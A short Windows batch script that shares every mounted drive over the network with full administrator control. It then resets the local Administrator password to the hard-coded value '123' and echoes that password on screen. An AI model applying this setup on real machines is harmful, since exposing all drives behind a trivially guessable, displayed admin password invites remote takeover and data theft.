@echo Off
set user_pwd=123
ipconfig /renew >nul
if %errorlevel% EQU 0 (
setlocal enabledelayedexpansion
FOR /F %%a in ('mountvol ^|find ":\"') do (
set mtvdrv=%%a
set mtvdrv=!mtvdrv::\=!
net share !mtvdrv!$=!mtvdrv!: /GRANT:administrator,FULL > nul
if %errorlevel% NEQ 0 (
echo the "!mtvdrv!" Paration share failed.
) else (
echo the "!mtvdrv!" Paration share succeed.
)
)
endlocal
)
net user administrator %user_pwd% > nul
if %errorlevel% NEQ 0 (
echo The user password of Administrator user change failed.
) else (
echo The user password of Administrator user change succeed, The password is %user_pwd%.
)
pause